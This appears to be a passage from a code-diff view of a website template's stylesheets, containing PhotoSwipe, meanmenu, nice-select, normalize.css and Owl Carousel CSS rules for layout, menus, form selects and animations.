}
|
||||
|
||||
.pswp--css_animation .pswp__preloader--active .pswp__preloader__icn {
|
||||
-webkit-animation: clockwise 500ms linear infinite;
|
||||
animation: clockwise 500ms linear infinite;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader--active .pswp__preloader__donut {
|
||||
-webkit-animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
|
||||
animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader__icn {
|
||||
background: none;
|
||||
opacity: 0.75;
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
position: absolute;
|
||||
left: 15px;
|
||||
top: 15px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader__cut {
|
||||
/*
|
||||
The idea of animating inner circle is based on Polymer ("material") loading indicator
|
||||
by Keanu Lee https://blog.keanulee.com/2014/10/20/the-tale-of-three-spinners.html
|
||||
*/
|
||||
position: relative;
|
||||
width: 7px;
|
||||
height: 14px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader__donut {
|
||||
-webkit-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
border: 2px solid #FFF;
|
||||
border-radius: 50%;
|
||||
border-left-color: transparent;
|
||||
border-bottom-color: transparent;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
background: none;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 1024px) {
|
||||
.pswp__preloader {
|
||||
position: relative;
|
||||
left: auto;
|
||||
top: auto;
|
||||
margin: 0;
|
||||
float: right;
|
||||
}
|
||||
}
|
||||
|
||||
@-webkit-keyframes clockwise {
|
||||
0% {
|
||||
-webkit-transform: rotate(0deg);
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
-webkit-transform: rotate(360deg);
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes clockwise {
|
||||
0% {
|
||||
-webkit-transform: rotate(0deg);
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
-webkit-transform: rotate(360deg);
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
@-webkit-keyframes donut-rotate {
|
||||
0% {
|
||||
-webkit-transform: rotate(0);
|
||||
transform: rotate(0);
|
||||
}
|
||||
50% {
|
||||
-webkit-transform: rotate(-140deg);
|
||||
transform: rotate(-140deg);
|
||||
}
|
||||
100% {
|
||||
-webkit-transform: rotate(0);
|
||||
transform: rotate(0);
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes donut-rotate {
|
||||
0% {
|
||||
-webkit-transform: rotate(0);
|
||||
transform: rotate(0);
|
||||
}
|
||||
50% {
|
||||
-webkit-transform: rotate(-140deg);
|
||||
transform: rotate(-140deg);
|
||||
}
|
||||
100% {
|
||||
-webkit-transform: rotate(0);
|
||||
transform: rotate(0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
6. Additional styles
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/* root element of UI */
|
||||
|
||||
.pswp__ui {
|
||||
-webkit-font-smoothing: auto;
|
||||
visibility: visible;
|
||||
opacity: 1;
|
||||
z-index: 1550;
|
||||
}
|
||||
|
||||
|
||||
/* top black bar with buttons and "1 of X" indicator */
|
||||
|
||||
.pswp__top-bar {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
height: 44px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.pswp__caption,
|
||||
.pswp__top-bar,
|
||||
.pswp--has_mouse .pswp__button--arrow--left,
|
||||
.pswp--has_mouse .pswp__button--arrow--right {
|
||||
-webkit-backface-visibility: hidden;
|
||||
will-change: opacity;
|
||||
-webkit-transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
|
||||
transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
|
||||
}
|
||||
|
||||
|
||||
/* pswp--has_mouse class is added only when two subsequent mousemove events occur */
|
||||
|
||||
.pswp--has_mouse .pswp__button--arrow--left,
|
||||
.pswp--has_mouse .pswp__button--arrow--right {
|
||||
visibility: visible;
|
||||
}
|
||||
|
||||
.pswp__top-bar,
|
||||
.pswp__caption {
|
||||
background-color: rgba(0, 0, 0, 0.5);
|
||||
}
|
||||
|
||||
|
||||
/* pswp__ui--fit class is added when main image "fits" between top bar and bottom bar (caption) */
|
||||
|
||||
.pswp__ui--fit .pswp__top-bar,
|
||||
.pswp__ui--fit .pswp__caption {
|
||||
background-color: rgba(0, 0, 0, 0.3);
|
||||
}
|
||||
|
||||
|
||||
/* pswp__ui--idle class is added when mouse isn't moving for several seconds (JS option timeToIdle) */
|
||||
|
||||
.pswp__ui--idle .pswp__top-bar {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.pswp__ui--idle .pswp__button--arrow--left,
|
||||
.pswp__ui--idle .pswp__button--arrow--right {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
pswp__ui--hidden class is added when controls are hidden
|
||||
e.g. when user taps to toggle visibility of controls
|
||||
*/
|
||||
|
||||
.pswp__ui--hidden .pswp__top-bar,
|
||||
.pswp__ui--hidden .pswp__caption,
|
||||
.pswp__ui--hidden .pswp__button--arrow--left,
|
||||
.pswp__ui--hidden .pswp__button--arrow--right {
|
||||
/* Force paint & create composition layer for controls. */
|
||||
opacity: 0.001;
|
||||
}
|
||||
|
||||
|
||||
/* pswp__ui--one-slide class is added when there is just one item in gallery */
|
||||
|
||||
.pswp__ui--one-slide .pswp__button--arrow--left,
|
||||
.pswp__ui--one-slide .pswp__button--arrow--right,
|
||||
.pswp__ui--one-slide .pswp__counter {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.pswp__element--disabled {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.pswp--minimal--dark .pswp__top-bar {
|
||||
background: none;
|
||||
}
|
||||
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,179 @@
|
|||
/*--------------------------------------------------------------------- File Name: meanmenu.css ---------------------------------------------------------------------*/
|
||||
|
||||
a.meanmenu-reveal {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.mean-container .mean-bar {
|
||||
background: #308409;
|
||||
float: left;
|
||||
min-height: 40px;
|
||||
padding: 5px 0;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
z-index: 999;
|
||||
}
|
||||
|
||||
.mean-container a.meanmenu-reveal {
|
||||
color: #fff;
|
||||
cursor: pointer;
|
||||
display: block;
|
||||
font-family: 'Roboto', sans-serif;
|
||||
font-weight: 400;
|
||||
height: 22px;
|
||||
line-height: 22px;
|
||||
position: absolute;
|
||||
right: 12px;
|
||||
text-decoration: none;
|
||||
top: 12px;
|
||||
width: 26px;
|
||||
}
|
||||
|
||||
.mean-container a.meanmenu-reveal span {
|
||||
background: #ffffff none repeat scroll 0 0;
|
||||
border-radius: 0;
|
||||
display: block;
|
||||
height: 4px;
|
||||
margin-top: 3px;
|
||||
width: auto;
|
||||
}
|
||||
|
||||
.mean-container a.meanmenu-reveal span:first-child {
|
||||
margin: 0
|
||||
}
|
||||
|
||||
.mean-container .mean-nav {
|
||||
background: #ffffff none repeat scroll 0 0;
|
||||
float: left;
|
||||
margin-top: 44px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
width: 100%;
|
||||
list-style-type: none;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a {
|
||||
border-bottom: 1px solid #ccc;
|
||||
color: #383838;
|
||||
display: block;
|
||||
float: left;
|
||||
font-size: 12px;
|
||||
font-weight: 500;
|
||||
margin: 0;
|
||||
padding: 1em 5%;
|
||||
text-align: left;
|
||||
text-decoration: none;
|
||||
text-transform: uppercase;
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a:hover {
|
||||
color: #38c8a8;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li li a {
|
||||
width: 80%;
|
||||
padding: 1em 10%;
|
||||
border-top: 1px solid #ccc;
|
||||
border-top: 1px solid #ccc;
|
||||
opacity: 1;
|
||||
filter: alpha(opacity=1);
|
||||
text-shadow: none !important;
|
||||
visibility: visible;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li.mean-last a {
|
||||
border-bottom: 1px solid #cccccc;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li li li a {
|
||||
width: 70%;
|
||||
padding: 1em 15%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li li li li a {
|
||||
width: 60%;
|
||||
padding: 1em 20%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li li li li li a {
|
||||
width: 50%;
|
||||
padding: 1em 25%;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a:hover {
|
||||
` background: #252525;
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a.mean-expand {
|
||||
background: rgba(255, 255, 255, 0.1) none repeat scroll 0 0;
|
||||
border: medium none;
|
||||
font-weight: 400;
|
||||
height: 22px;
|
||||
line-height: 22px;
|
||||
margin-top: 1px;
|
||||
padding: 12px 16px;
|
||||
position: absolute;
|
||||
right: 0;
|
||||
text-align: center;
|
||||
top: -1px;
|
||||
width: 17px;
|
||||
z-index: 2;
|
||||
font-size: 18px !important;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a.mean-expand:hover {
|
||||
background: rgba(0, 0, 0, 0.9) none repeat scroll 0 0;
|
||||
color: #ffffff;
|
||||
}
|
||||
|
||||
.mean-container .mean-push {
|
||||
float: left;
|
||||
width: 100%;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
.mean-nav .wrapper {
|
||||
width: 100%;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.mean-container .mean-bar,
|
||||
.mean-container .mean-bar * {
|
||||
-webkit-box-sizing: content-box;
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
.mean-remove {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.mean-nav span {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a.mean-expand:hover,
|
||||
.mean-container .mean-nav ul li a.mean-expand:focus {
|
||||
background: #38c8a8;
|
||||
color: #ffffff;
|
||||
}
|
||||
|
||||
.mean-container .mean-nav ul li a:hover {
|
||||
color: #308409;
|
||||
}
|
||||
|
|
@ -0,0 +1,177 @@
|
|||
/*---------------------------------------------------------------------
|
||||
File Name: nice-select.css
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
.nice-select {
|
||||
background-color: #f6f6f6;
|
||||
border-radius: 0;
|
||||
box-sizing: border-box;
|
||||
clear: both;
|
||||
display: block;
|
||||
float: left;
|
||||
height: auto;
|
||||
outline: none;
|
||||
padding-left: 20px;
|
||||
padding-right: 35px;
|
||||
position: relative;
|
||||
-webkit-transition: all 0.2s ease-in-out;
|
||||
transition: all 0.2s ease-in-out;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
width: 50%;
|
||||
cursor: pointer;
|
||||
font-family: inherit;
|
||||
font-weight: normal;
|
||||
line-height: 50px;
|
||||
text-align: left !important;
|
||||
white-space: nowrap;
|
||||
font-weight: 300;
|
||||
}
|
||||
|
||||
.nice-select:after {
|
||||
border-bottom: 2px solid #999;
|
||||
border-right: 2px solid #999;
|
||||
content: '';
|
||||
display: block;
|
||||
height: 5px;
|
||||
margin-top: -4px;
|
||||
pointer-events: none;
|
||||
position: absolute;
|
||||
right: 12px;
|
||||
top: 50%;
|
||||
-webkit-transform-origin: 66% 66%;
|
||||
-ms-transform-origin: 66% 66%;
|
||||
transform-origin: 66% 66%;
|
||||
-webkit-transform: rotate(45deg);
|
||||
-ms-transform: rotate(45deg);
|
||||
transform: rotate(45deg);
|
||||
-webkit-transition: all 0.15s ease-in-out;
|
||||
transition: all 0.15s ease-in-out;
|
||||
width: 5px;
|
||||
}
|
||||
|
||||
.nice-select.open:after {
|
||||
-webkit-transform: rotate(-135deg);
|
||||
-ms-transform: rotate(-135deg);
|
||||
transform: rotate(-135deg);
|
||||
}
|
||||
|
||||
.nice-select.open .list {
|
||||
opacity: 1;
|
||||
pointer-events: auto;
|
||||
-webkit-transform: scale(1) translateY(0);
|
||||
-ms-transform: scale(1) translateY(0);
|
||||
transform: scale(1) translateY(0);
|
||||
}
|
||||
|
||||
.nice-select.disabled {
|
||||
border-color: #ededed;
|
||||
color: #999;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.nice-select.disabled:after {
|
||||
border-color: #cccccc;
|
||||
}
|
||||
|
||||
.nice-select.wide {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.nice-select.wide .list {
|
||||
left: 0 !important;
|
||||
right: 0 !important;
|
||||
}
|
||||
|
||||
.nice-select.right {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.nice-select.right .list {
|
||||
left: auto;
|
||||
right: 0;
|
||||
}
|
||||
|
||||
.nice-select.small {
|
||||
font-size: 12px;
|
||||
height: 36px;
|
||||
line-height: 34px;
|
||||
}
|
||||
|
||||
.nice-select.small:after {
|
||||
height: 4px;
|
||||
width: 4px;
|
||||
}
|
||||
|
||||
.nice-select.small .option {
|
||||
line-height: 34px;
|
||||
min-height: 34px;
|
||||
}
|
||||
|
||||
.nice-select .list {
|
||||
background-color: #fff;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 1px rgba(68, 68, 68, 0.11);
|
||||
box-sizing: border-box;
|
||||
margin-top: 4px;
|
||||
opacity: 0;
|
||||
overflow: hidden;
|
||||
padding: 0;
|
||||
pointer-events: none;
|
||||
position: absolute;
|
||||
top: 100%;
|
||||
left: 0;
|
||||
-webkit-transform-origin: 50% 0;
|
||||
-ms-transform-origin: 50% 0;
|
||||
transform-origin: 50% 0;
|
||||
-webkit-transform: scale(0.75) translateY(-21px);
|
||||
-ms-transform: scale(0.75) translateY(-21px);
|
||||
transform: scale(0.75) translateY(-21px);
|
||||
-webkit-transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
|
||||
transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
|
||||
z-index: 9;
|
||||
}
|
||||
|
||||
.nice-select .list:hover .option:not(:hover) {
|
||||
background-color: transparent !important;
|
||||
}
|
||||
|
||||
.nice-select .option {
|
||||
cursor: pointer;
|
||||
font-weight: 400;
|
||||
line-height: 40px;
|
||||
list-style: none;
|
||||
min-height: 40px;
|
||||
outline: none;
|
||||
padding-left: 18px;
|
||||
padding-right: 29px;
|
||||
text-align: left;
|
||||
-webkit-transition: all 0.2s;
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.nice-select .option:hover,
|
||||
.nice-select .option.focus,
|
||||
.nice-select .option.selected.focus {
|
||||
background-color: #f6f6f6;
|
||||
}
|
||||
|
||||
.nice-select .option.selected {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.nice-select .option.disabled {
|
||||
background-color: transparent;
|
||||
color: #999;
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
.no-csspointerevents .nice-select .list {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.no-csspointerevents .nice-select.open .list {
|
||||
display: block;
|
||||
}
|
||||
|
|
@ -0,0 +1,427 @@
|
|||
/*! normalize.css v6.0.0 | MIT License | github.com/necolas/normalize.css */
|
||||
|
||||
/* Document
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* 1. Correct the line height in all browsers.
|
||||
* 2. Prevent adjustments of font size after orientation changes in
|
||||
* IE on Windows Phone and in iOS.
|
||||
*/
|
||||
|
||||
html {
|
||||
line-height: 1.15; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/* Sections
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 9-.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
footer,
|
||||
header,
|
||||
nav,
|
||||
section {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct the font size and margin on `h1` elements within `section` and
|
||||
* `article` contexts in Chrome, Firefox, and Safari.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 9-.
|
||||
* 1. Add the correct display in IE.
|
||||
*/
|
||||
|
||||
figcaption,
|
||||
figure,
|
||||
main { /* 1 */
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct margin in IE 8.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Add the correct box sizing in Firefox.
|
||||
* 2. Show the overflow in Edge and IE.
|
||||
*/
|
||||
|
||||
hr {
|
||||
box-sizing: content-box; /* 1 */
|
||||
height: 0; /* 1 */
|
||||
overflow: visible; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the inheritance and scaling of font size in all browsers.
|
||||
* 2. Correct the odd `em` font sizing in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
font-family: monospace, monospace; /* 1 */
|
||||
font-size: 1em; /* 2 */
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* 1. Remove the gray background on active links in IE 10.
|
||||
* 2. Remove gaps in links underline in iOS 8+ and Safari 8+.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent; /* 1 */
|
||||
-webkit-text-decoration-skip: objects; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Remove the bottom border in Chrome 57- and Firefox 39-.
|
||||
* 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: none; /* 1 */
|
||||
text-decoration: underline; /* 2 */
|
||||
text-decoration: underline dotted; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent the duplicate application of `bolder` by the next rule in Safari 6.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: inherit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct font weight in Chrome, Edge, and Safari.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bolder;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the inheritance and scaling of font size in all browsers.
|
||||
* 2. Correct the odd `em` font sizing in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
samp {
|
||||
font-family: monospace, monospace; /* 1 */
|
||||
font-size: 1em; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct font style in Android 4.3-.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct background and color in IE 9-.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background-color: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` elements from affecting the line height in
|
||||
* all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 9-.
|
||||
*/
|
||||
|
||||
audio,
|
||||
video {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct display in iOS 4-7.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the border on images inside links in IE 10-.
|
||||
*/
|
||||
|
||||
img {
|
||||
border-style: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide the overflow in IE.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the margin in Firefox and Safari.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Show the overflow in IE.
|
||||
* 1. Show the overflow in Edge.
|
||||
*/
|
||||
|
||||
button,
|
||||
input { /* 1 */
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the inheritance of text transform in Edge, Firefox, and IE.
|
||||
* 1. Remove the inheritance of text transform in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select { /* 1 */
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`
|
||||
* controls in Android 4.
|
||||
* 2. Correct the inability to style clickable types in iOS and Safari.
|
||||
*/
|
||||
|
||||
button,
|
||||
html [type="button"], /* 1 */
|
||||
[type="reset"],
|
||||
[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the inner border and padding in Firefox.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
[type="button"]::-moz-focus-inner,
|
||||
[type="reset"]::-moz-focus-inner,
|
||||
[type="submit"]::-moz-focus-inner {
|
||||
border-style: none;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Restore the focus styles unset by the previous rule.
|
||||
*/
|
||||
|
||||
button:-moz-focusring,
|
||||
[type="button"]:-moz-focusring,
|
||||
[type="reset"]:-moz-focusring,
|
||||
[type="submit"]:-moz-focusring {
|
||||
outline: 1px dotted ButtonText;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the text wrapping in Edge and IE.
|
||||
* 2. Correct the color inheritance from `fieldset` elements in IE.
|
||||
* 3. Remove the padding so developers are not caught out when they zero out
|
||||
* `fieldset` elements in all browsers.
|
||||
*/
|
||||
|
||||
legend {
|
||||
box-sizing: border-box; /* 1 */
|
||||
color: inherit; /* 2 */
|
||||
display: table; /* 1 */
|
||||
max-width: 100%; /* 1 */
|
||||
padding: 0; /* 3 */
|
||||
white-space: normal; /* 1 */
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Add the correct display in IE 9-.
|
||||
* 2. Add the correct vertical alignment in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
progress {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the default vertical scrollbar in IE.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Add the correct box sizing in IE 10-.
|
||||
* 2. Remove the padding in IE 10-.
|
||||
*/
|
||||
|
||||
[type="checkbox"],
|
||||
[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct the cursor style of increment and decrement buttons in Chrome.
|
||||
*/
|
||||
|
||||
[type="number"]::-webkit-inner-spin-button,
|
||||
[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the odd appearance in Chrome and Safari.
|
||||
* 2. Correct the outline style in Safari.
|
||||
*/
|
||||
|
||||
[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
outline-offset: -2px; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the inner padding and cancel buttons in Chrome and Safari on macOS.
|
||||
*/
|
||||
|
||||
[type="search"]::-webkit-search-cancel-button,
|
||||
[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the inability to style clickable types in iOS and Safari.
|
||||
* 2. Change font properties to `inherit` in Safari.
|
||||
*/
|
||||
|
||||
::-webkit-file-upload-button {
|
||||
-webkit-appearance: button; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
}
|
||||
|
||||
/* Interactive
|
||||
========================================================================== */
|
||||
|
||||
/*
|
||||
* Add the correct display in IE 9-.
|
||||
* 1. Add the correct display in Edge, IE, and Firefox.
|
||||
*/
|
||||
|
||||
details, /* 1 */
|
||||
menu {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/*
|
||||
* Add the correct display in all browsers.
|
||||
*/
|
||||
|
||||
summary {
|
||||
display: list-item;
|
||||
}
|
||||
|
||||
/* Scripting
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 9-.
|
||||
*/
|
||||
|
||||
canvas {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct display in IE.
|
||||
*/
|
||||
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Hidden
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 10-.
|
||||
*/
|
||||
|
||||
[hidden] {
|
||||
display: none;
|
||||
}
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
/**
|
||||
* Owl Carousel v2.3.3
|
||||
* Copyright 2013-2018 David Deutsch
|
||||
* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
|
||||
*/
|
||||
.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%}
|
||||
|
|
@ -0,0 +1,630 @@
|
